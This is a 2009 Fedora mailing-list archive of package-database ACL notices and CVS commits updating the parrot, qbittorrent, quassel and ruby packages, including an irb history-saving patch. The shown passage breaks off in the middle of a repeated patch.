Message-ID: <20091025132437.D234710F85D@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchbugzilla acl on rubygem-hpricot (Fedora devel) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:43 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132443.E746E10F88B@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchbugzilla acl on rubygem-hpricot (Fedora 10) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:45 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132445.9198110F8A2@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchcommits acl on rubygem-hpricot (Fedora 10) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:47 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132447.50F2A10F8A6@bastion2.fedora.phx.redhat.com>

mtasaka has set the commit acl on rubygem-hpricot (Fedora 10) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:53 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132453.EE5B810F85D@bastion2.fedora.phx.redhat.com>

mtasaka has set the commit acl on rubygem-hpricot (Fedora 11) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:55 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132455.C887110F895@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchcommits acl on rubygem-hpricot (Fedora 11) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:57 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132458.1DAD410F850@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchbugzilla acl on rubygem-hpricot (Fedora 11) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:25:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:25:00 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132500.62C1810F894@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchbugzilla acl on rubygem-hpricot (Fedora 12) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:25:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:25:01 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132501.F332810F89C@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchcommits acl on rubygem-hpricot (Fedora 12) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:25:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:25:05 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132505.567A910F7C4@bastion2.fedora.phx.redhat.com>

mtasaka has set the commit acl on rubygem-hpricot (Fedora 12) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From gerd at fedoraproject.org  Sun Oct 25 14:13:44 2009
From: gerd at fedoraproject.org (Gerd Pokorra)
Date: Sun, 25 Oct 2009 14:13:44 +0000 (UTC)
Subject: rpms/parrot/devel .cvsignore, 1.8, 1.9 import.log, 1.15,
	1.16 parrot.spec, 1.20, 1.21 sources, 1.9, 1.10
Message-ID: <20091025141344.EF77C11C00E5@cvs1.fedora.phx.redhat.com>

Author: gerd

Update of /cvs/pkgs/rpms/parrot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16379/devel

Modified Files:
	.cvsignore import.log parrot.spec sources 
Log Message:
- update to 1.7.0
- add the parrot_nqp binary, with creating of the man-page



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parrot/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	15 Sep 2009 11:48:30 -0000	1.8
+++ .cvsignore	25 Oct 2009 14:13:42 -0000	1.9
@@ -1 +1 @@
-parrot-1.6.0.tar.gz
+parrot-1.7.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/parrot/devel/import.log,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- import.log	22 Sep 2009 11:24:27 -0000	1.15
+++ import.log	25 Oct 2009 14:13:42 -0000	1.16
@@ -13,3 +13,4 @@ parrot-1_5_0-1_fc11:HEAD:parrot-1.5.0-1.
 parrot-1_5_0-2_40969svn_fc11:HEAD:parrot-1.5.0-2.40969svn.fc11.src.rpm:1252076899
 parrot-1_6_0-1_fc11:HEAD:parrot-1.6.0-1.fc11.src.rpm:1253015088
 parrot-1_6_0-2_fc11:HEAD:parrot-1.6.0-2.fc11.src.rpm:1253618562
+parrot-1_7_0-1_fc11:HEAD:parrot-1.7.0-1.fc11.src.rpm:1256487040


Index: parrot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parrot/devel/parrot.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- parrot.spec	22 Sep 2009 11:24:28 -0000	1.20
+++ parrot.spec	25 Oct 2009 14:13:42 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           parrot
-Version:        1.6.0
-Release:        2%{?dist}
+Version:        1.7.0
+Release:        1%{?dist}
 Summary:        Parrot is a virtual machine
 License:        Artistic 2.0
 Group:          Development/Libraries
@@ -112,10 +112,6 @@ chmod +x %{__perl_provides}
 # option.
     RPM_OPT_FLAGS="$RPM_OPT_FLAGS"
 %endif
-%ifarch ppc64
-# the TGE don't build with this version with the optimize="-O2" option on ppc64
-    RPM_OPT_FLAGS=`echo "$RPM_OPT_FLAGS" | %{__perl} -pi -e 's/-O2//'`
-%endif
 
 %{__perl} Configure.pl \
     --prefix=%{_usr} \
@@ -128,8 +124,7 @@ chmod +x %{__perl_provides}
     --optimize="$RPM_OPT_FLAGS" \
     --parrot_is_shared \
     --disable-rpath \
-    --lex=%{_bindir}/flex \
-    --jitcapable=0     # necessary for rakudo-rpm on ix86
+    --lex=%{_bindir}/flex
 
 # The LD_LIBRARY_PATH hack is needed for "miniparrot"
 # to find his parrot-library in "blib/lib" 
@@ -145,22 +140,26 @@ make html
 %install
 rm -rf $RPM_BUILD_ROOT
 
+# The LD_LIBRARY_PATH hack is needed for the command "pbc_to_exe parrot_nqp.pbc"
+# to find his parrot-library in "blib/lib" 
+export LD_LIBRARY_PATH=$( pwd )/blib/lib
+
 # install-dev: Same as 'install' taget but also install support for 
 #              language development 
 make install-dev DESTDIR=$RPM_BUILD_ROOT
 
-#Creating man-pages
+# Creating man-pages
 %{__install} -d $RPM_BUILD_ROOT%{_mandir}/man1
-pod2man --section=1 --name=parrot docs/running.pod | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/parrot.1.gz
-pod2man --section=1 --name=parrot_debugger src/parrot_debugger.c | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/parrot_debugger.1.gz
-pod2man --section=1 --name=pbc_disassemble src/pbc_disassemble.c | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/pbc_disassemble.1.gz
-pod2man --section=1 --name=pbc_dump src/pbc_dump.c | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/pbc_dump.1.gz
-pod2man --section=1 --name=pbc_merge src/pbc_merge.c | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/pbc_merge.1.gz
-pod2man --section=1 --name=parrot_config tools/build/parrot_config_c.pl | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/parrot_config.1.gz
-pod2man --section=1 --name=pbc_to_exe tools/dev/pbc_to_exe.pir | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/pbc_to_exe.1.gz
-
-%define RPM_PAR_LIB_DIR $RPM_BUILD_ROOT%{_libdir}/%{name}/%{version}/
-
+for var in 'parrot docs/running.pod' 'parrot_debugger src/parrot_debugger.c' \
+           'pbc_disassemble src/pbc_disassemble.c' 'pbc_dump src/pbc_dump.c' \
+           'pbc_merge src/pbc_merge.c' 'pbc_to_exe tools/dev/pbc_to_exe.pir' \
+           'parrot_config tools/build/parrot_config_c.pl' \
+           'parrot_nqp compilers/nqp/README.pod'
+do
+    MAN_NAME=`echo $var | perl -na -e 'print $F[0]'`
+    MAN_SOURCE=`echo $var | perl -na -e 'print $F[1]'`
+    pod2man --section=1 --name=$MAN_NAME $MAN_SOURCE | %{__gzip} -c > $RPM_BUILD_ROOT%{_mandir}/man1/${MAN_NAME}.1.gz
+done
 
 # Drop the docs so rpm can pick them up itself.
 rm -rf $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}
@@ -169,6 +168,10 @@ rm -rf $RPM_BUILD_ROOT%{_defaultdocdir}/
 find docs examples -type d -exec chmod 755 {} \;
 find docs examples -type f -exec chmod 644 {} \;
 
+
+%define RPM_PAR_LIB_DIR $RPM_BUILD_ROOT%{_libdir}/%{name}/%{version}/
+
+
 # Force permissions on shared versioned libs so they get stripped.
 # The parrot-install-script don't set the permissions right
 # With changed permissions the dependencies will be found
@@ -260,6 +263,7 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %{_bindir}/parrot_config
 %{_bindir}/parrot_debugger
+%{_bindir}/parrot_nqp
 %{_bindir}/pbc_disassemble
 %{_bindir}/pbc_merge
 %{_bindir}/pbc_to_exe
@@ -274,6 +278,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/pbc_merge.1.gz
 %{_mandir}/man1/pbc_to_exe.1.gz
 %{_mandir}/man1/pbc_dump.1.gz
+%{_mandir}/man1/parrot_nqp.1.gz
 
 %files tools
 %defattr(-,root,root,-)
@@ -284,9 +289,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Tue Sep 22 2009 Gerd Pokorra <gp at zimt.uni-siegen.de> 1.6.0-2
-- build only without the option '-O2' on ppc64
-- build without jitcapable; necessary for rakudo-rpm on ix86 at the moment
+* Fri Oct 23 2009 Gerd Pokorra <gp at zimt.uni-siegen.de> 1.7.0-1
+- new upstream version
+- add the parrot_nqp binary, with creating of the man-page
 
 * Sat Aug 22 2009 Tomas Mraz <tmraz at redhat.com> 1.5.0-2
 - rebuilt with new openssl


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parrot/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	15 Sep 2009 11:48:31 -0000	1.9
+++ sources	25 Oct 2009 14:13:42 -0000	1.10
@@ -1 +1 @@
-6fde2d91278a3990213c8671a0856e4a  parrot-1.6.0.tar.gz
+8821f0d158023fa28361c63bae13c22b  parrot-1.7.0.tar.gz



From leigh123linux at fedoraproject.org  Sun Oct 25 14:28:13 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sun, 25 Oct 2009 14:28:13 +0000 (UTC)
Subject: rpms/qbittorrent/devel .cvsignore, 1.16, 1.17 qbittorrent.spec, 1.38,
	1.39 sources, 1.16, 1.17
Message-ID: <20091025142813.C6DA811C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20703

Modified Files:
	.cvsignore qbittorrent.spec sources 
Log Message:
* Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
- update to 1.5.4
- drop flags patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	1 Oct 2009 11:39:00 -0000	1.16
+++ .cvsignore	25 Oct 2009 14:28:13 -0000	1.17
@@ -1 +1 @@
-qbittorrent-1.5.3.tar.gz
+qbittorrent-1.5.4.tar.gz


Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/qbittorrent.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- qbittorrent.spec	2 Oct 2009 11:14:21 -0000	1.38
+++ qbittorrent.spec	25 Oct 2009 14:28:13 -0000	1.39
@@ -2,8 +2,8 @@
 
 Name:    qbittorrent
 Summary: A Bittorrent Client 
-Version: 1.5.3
-Release: 3%{?dist}
+Version: 1.5.4
+Release: 1%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
 # svn checkout -r %{svn_rev} https://qbittorrent.svn.sourceforge.net/svnroot/qbittorrent/trunk qbittorrent
@@ -31,7 +31,7 @@ It aims to be as fast as possible and to
 
 %prep
 %setup -q
-%patch0 -p1 -b .qbittorrent_flag
+#patch0 -p1 -b .qbittorrent_flag
 
 %build
 # use ./configure instead of %%configure as it doesn't work
@@ -74,6 +74,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
+- update to 1.5.4
+- drop flags patch
+
 * Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-3
 - bump spec due to cvs tagging error
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	1 Oct 2009 11:39:00 -0000	1.16
+++ sources	25 Oct 2009 14:28:13 -0000	1.17
@@ -1 +1 @@
-3db3e435ac00dc997e3b9d816ae93c45  qbittorrent-1.5.3.tar.gz
+7f97935f01f158fb18c8998e57627023  qbittorrent-1.5.4.tar.gz



From leigh123linux at fedoraproject.org  Sun Oct 25 14:49:14 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sun, 25 Oct 2009 14:49:14 +0000 (UTC)
Subject: rpms/qbittorrent/F-12 .cvsignore, 1.16, 1.17 qbittorrent.spec, 1.36,
	1.37 sources, 1.16, 1.17
Message-ID: <20091025144914.8EBF811C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25461

Modified Files:
	.cvsignore qbittorrent.spec sources 
Log Message:
* Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
- update to 1.5.4
- drop flags patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Oct 2009 10:59:07 -0000	1.16
+++ .cvsignore	25 Oct 2009 14:49:03 -0000	1.17
@@ -1 +1 @@
-qbittorrent-1.5.3.tar.gz
+qbittorrent-1.5.4.tar.gz


Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/qbittorrent.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- qbittorrent.spec	2 Oct 2009 10:59:07 -0000	1.36
+++ qbittorrent.spec	25 Oct 2009 14:49:03 -0000	1.37
@@ -2,7 +2,7 @@
 
 Name:    qbittorrent
 Summary: A Bittorrent Client 
-Version: 1.5.3
+Version: 1.5.4
 Release: 1%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
@@ -31,7 +31,7 @@ It aims to be as fast as possible and to
 
 %prep
 %setup -q
-%patch0 -p1 -b .qbittorrent_flag
+#patch0 -p1 -b .qbittorrent_flag
 
 %build
 # use ./configure instead of %%configure as it doesn't work
@@ -74,6 +74,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
+- update to 1.5.4
+- drop flags patch
+
 * Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-1
 - Rebuild for rb_libtorrent-0.14.6
 - update to 1.5.3


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Oct 2009 10:59:07 -0000	1.16
+++ sources	25 Oct 2009 14:49:03 -0000	1.17
@@ -1 +1 @@
-3db3e435ac00dc997e3b9d816ae93c45  qbittorrent-1.5.3.tar.gz
+7f97935f01f158fb18c8998e57627023  qbittorrent-1.5.4.tar.gz



From leigh123linux at fedoraproject.org  Sun Oct 25 14:54:31 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sun, 25 Oct 2009 14:54:31 +0000 (UTC)
Subject: rpms/qbittorrent/F-12 qbittorrent.spec,1.37,1.38
Message-ID: <20091025145431.3249311C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27918

Modified Files:
	qbittorrent.spec 
Log Message:
* Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
- update to 1.5.4
- drop flags patch



Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/qbittorrent.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- qbittorrent.spec	25 Oct 2009 14:49:03 -0000	1.37
+++ qbittorrent.spec	25 Oct 2009 14:54:29 -0000	1.38
@@ -78,10 +78,6 @@ gtk-update-icon-cache %{_datadir}/icons/
 - update to 1.5.4
 - drop flags patch
 
-* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-1
-- Rebuild for rb_libtorrent-0.14.6
-- update to 1.5.3
-
 * Tue Sep 22 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.2-1
 - update to 1.5.2
 



From tuxbrewr at fedoraproject.org  Sun Oct 25 14:54:38 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 25 Oct 2009 14:54:38 +0000 (UTC)
Subject: rpms/quassel/F-12 .cvsignore, 1.9, 1.10 quassel.spec, 1.13,
	1.14 sources, 1.9, 1.10
Message-ID: <20091025145438.9881A11C00E5@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/quassel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27965

Modified Files:
	.cvsignore quassel.spec sources 
Log Message:
Official 0.5.0 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/quassel/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	4 Sep 2009 12:43:29 -0000	1.9
+++ .cvsignore	25 Oct 2009 14:54:37 -0000	1.10
@@ -1 +1 @@
-quassel-0.5-rc1.tar.bz2
+quassel-0.5.0.tar.bz2


Index: quassel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/quassel/F-12/quassel.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- quassel.spec	4 Sep 2009 12:43:29 -0000	1.13
+++ quassel.spec	25 Oct 2009 14:54:37 -0000	1.14
@@ -1,12 +1,12 @@
 Name:    quassel
 Summary: A modern distrubuted IRC system
-Version: 0.5
-Release: 0.1.rc1%{?dist}
+Version: 0.5.0
+Release: 1%{?dist}
 
 License: GPLv2 or GPLv3
 Group:	 Applications/Internet
 URL:     http://quassel-irc.org/
-Source0: http://quassel-irc.org/system/files/quassel-%{version}-rc1.tar.bz2
+Source0: http://quassel-irc.org/system/files/quassel-%{version}.tar.bz2
 Source1: %{name}.desktop
 Source2: %{name}core.desktop
 Source3: %{name}client.desktop
@@ -39,7 +39,7 @@ Group: Applications/Internet
 Quassel client 
 
 %prep
-%setup -q -n quassel-0.5-rc1
+%setup -q -n quassel-0.5.0
 
 %build
 
@@ -108,6 +108,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_kde4_datadir}/applications/kde4/quasselclient.desktop
 
 %changelog
+* Fri Oct 23 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0-1
+- Official 0.5.0 release
+
 * Thu Sep 03 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5-0.1.rc1
 - New release candidate
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/quassel/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	4 Sep 2009 12:43:29 -0000	1.9
+++ sources	25 Oct 2009 14:54:37 -0000	1.10
@@ -1 +1 @@
-472408317a0e99d659ee10a2a6c9e1bf  quassel-0.5-rc1.tar.bz2
+525b24c2549069970b853dfdcbb6bb65  quassel-0.5.0.tar.bz2



From mtasaka at fedoraproject.org  Sun Oct 25 15:08:29 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 15:08:29 +0000 (UTC)
Subject: rpms/ruby/devel ruby-1.8head-irb-save-history.patch, NONE,
	1.1 ruby.spec, 1.142, 1.143
Message-ID: <20091025150829.EB5EA11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32233/devel

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8head-irb-save-history.patch 
Log Message:
* Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
- Patch so that irb saves its history (bug 518584, ruby issue 1556)


ruby-1.8head-irb-save-history.patch:
 irb.rb                  |   14 +++++++++++---
 irb/ext/save-history.rb |   44 +++++++++++++++++++++++++++++---------------
 irb/init.rb             |    2 ++
 3 files changed, 42 insertions(+), 18 deletions(-)

--- NEW FILE ruby-1.8head-irb-save-history.patch ---
Thu Jul 23 15:04:20 2009  Keiju Ishitsuka  <keiju at ruby-lang.org>

ruby* lib/irb.rb, lib/irb/init.rb, lib/irb/ext/save-history.rb: add
ruby  IRB::irb_at_exit. no use finalizer saving history. [ruby-dev-38563]

Index: lib/irb/ext/save-history.rb
===================================================================
--- lib/irb/ext/save-history.rb	(revision 24225)
+++ lib/irb/ext/save-history.rb	(revision 24254)
@@ -50,23 +50,24 @@
   module HistorySavingAbility
     include Readline
 
-    def HistorySavingAbility.create_finalizer
-      proc do
-	if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
-	  if hf = IRB.conf[:HISTORY_FILE]
-	    file = File.expand_path(hf)
-	  end
-	  file = IRB.rc_file("_history") unless file
-	  open(file, 'w' ) do |f|
-	    hist = HISTORY.to_a
-	    f.puts(hist[-num..-1] || hist)
-	  end
-	end
-      end
-    end
+#     def HistorySavingAbility.create_finalizer
+#       proc do
+# 	if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
+# 	  if hf = IRB.conf[:HISTORY_FILE]
+# 	    file = File.expand_path(hf)
+# 	  end
+# 	  file = IRB.rc_file("_history") unless file
+# 	  open(file, 'w' ) do |f|
+# 	    hist = HISTORY.to_a
+# 	    f.puts(hist[-num..-1] || hist)
+# 	  end
+# 	end
+#       end
+#     end
 
     def HistorySavingAbility.extended(obj)
-      ObjectSpace.define_finalizer(obj, HistorySavingAbility.create_finalizer)
+#      ObjectSpace.define_finalizer(obj, HistorySavingAbility.create_finalizer)
+      IRB.conf[:AT_EXIT].push proc{obj.save_history}
       obj.load_history
       obj
     end
@@ -80,6 +81,19 @@
 	end
       end
     end
+
+    def save_history
+      if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
+	if history_file = IRB.conf[:HISTORY_FILE]
+	  history_file = File.expand_path(history_file)
+	end
+	history_file = IRB.rc_file("_history") unless history_file
+	open(history_file, 'w' ) do |f|
+	  hist = HISTORY.to_a
+	  f.puts(hist[-num..-1] || hist)
+	end
+      end
+    end
   end
 end
 
Index: lib/irb/init.rb
===================================================================
--- lib/irb/init.rb	(revision 24225)
+++ lib/irb/init.rb	(revision 24254)
@@ -114,6 +114,8 @@
 #    @CONF[:LC_MESSAGES] = "en"
     @CONF[:LC_MESSAGES] = Locale.new
     
+    @CONF[:AT_EXIT] = []
+    
     @CONF[:DEBUG_LEVEL] = 1
   end
 
Index: lib/irb.rb
===================================================================
--- lib/irb.rb	(revision 24225)
+++ lib/irb.rb	(revision 24254)
@@ -65,13 +65,21 @@
     trap("SIGINT") do
       irb.signal_handle
     end
-    
-    catch(:IRB_EXIT) do
-      irb.eval_input
+
+    begin
+      catch(:IRB_EXIT) do
+	irb.eval_input
+      end
+    ensure
+      irb_at_exit
     end
 #    print "\n"
   end
 
+  def IRB.irb_at_exit
+    @CONF[:AT_EXIT].each{|hook| hook.call}
+  end
+
   def IRB.irb_exit(irb, ret)
     throw :IRB_EXIT, ret
   end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/ruby.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- ruby.spec	23 Oct 2009 17:25:54 -0000	1.142
+++ ruby.spec	25 Oct 2009 15:08:29 -0000	1.143
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -51,6 +51,8 @@ Patch28:        ruby-1.8.6-p287-remove-s
 Patch29:	ruby-always-use-i386.patch
 Patch30:	ruby-openssl-1.0.patch
 Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
+# Patch from ruby_1_8 branch
+Patch32:	ruby-1.8head-irb-save-history.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -182,6 +184,7 @@ pushd %{name}-%{arcver}
 %patch29 -p1
 %patch30 -p2
 %patch31 -p1
+%patch32 -p0
 popd
 
 %build
@@ -548,6 +551,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
+- Patch so that irb saves its history (bug 518584, ruby issue 1556)
+
 * Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
 - Update to 1.8.6 patchlevel 383 (bug 520063)
 



From mtasaka at fedoraproject.org  Sun Oct 25 15:08:29 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 15:08:29 +0000 (UTC)
Subject: rpms/ruby/F-12 ruby-1.8head-irb-save-history.patch, NONE,
	1.1 ruby.spec, 1.142, 1.143
Message-ID: <20091025150829.EEC0A11C0269@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32233/F-12

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8head-irb-save-history.patch 
Log Message:
* Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
- Patch so that irb saves its history (bug 518584, ruby issue 1556)


ruby-1.8head-irb-save-history.patch:
 irb.rb                  |   14 +++++++++++---
 irb/ext/save-history.rb |   44 +++++++++++++++++++++++++++++---------------
 irb/init.rb             |    2 ++
 3 files changed, 42 insertions(+), 18 deletions(-)

--- NEW FILE ruby-1.8head-irb-save-history.patch ---
Thu Jul 23 15:04:20 2009  Keiju Ishitsuka  <keiju at ruby-lang.org>

ruby* lib/irb.rb, lib/irb/init.rb, lib/irb/ext/save-history.rb: add
ruby  IRB::irb_at_exit. no use finalizer saving history. [ruby-dev-38563]

Index: lib/irb/ext/save-history.rb
===================================================================
--- lib/irb/ext/save-history.rb	(revision 24225)
+++ lib/irb/ext/save-history.rb	(revision 24254)
@@ -50,23 +50,24 @@
   module HistorySavingAbility
     include Readline
 
-    def HistorySavingAbility.create_finalizer
-      proc do
-	if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
